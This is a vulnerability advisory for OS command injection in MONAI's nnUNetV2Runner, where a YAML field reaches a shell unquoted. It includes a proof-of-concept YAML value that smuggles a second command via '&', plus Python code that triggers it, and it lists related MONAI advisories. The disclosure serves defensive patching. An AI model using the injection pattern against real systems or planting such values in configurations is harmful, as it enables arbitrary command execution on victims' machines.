GHSA-rghg-q7wp-9767High▾ TwilightMONAI vulnerable to OS command injection
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.
It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.
MONAI vulnerable to OS command injection.
This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.
As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).
The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.
Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.
dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results
As a victim, verify running the following Python code to load and process the YAML file.
from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())
Also, see the attached file. JVN#50379904-details.zip
MONAI < 1.6.0Upgrade to a patched release:
MONAI 1.6.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-100844High· 8.4MONAI before 1.6.0 is vulnerable to OS command injection in the nnUNetV2Runner component (monai.apps.nnunet.nnunetv2_runner)
GHSA-qxq5-qhx6-94qwHigh· 7.8Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch
GHSA-wg9g-w2j2-8pgrHigh· 7.8MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
GHSA-89gg-p5r5-q6r4High· 7.6MONAI: Unsafe functions lead to pickle deserialization rce
CVE-2026-21851Medium· 5.3MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download
CVE-2026-100846High· 7.6MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py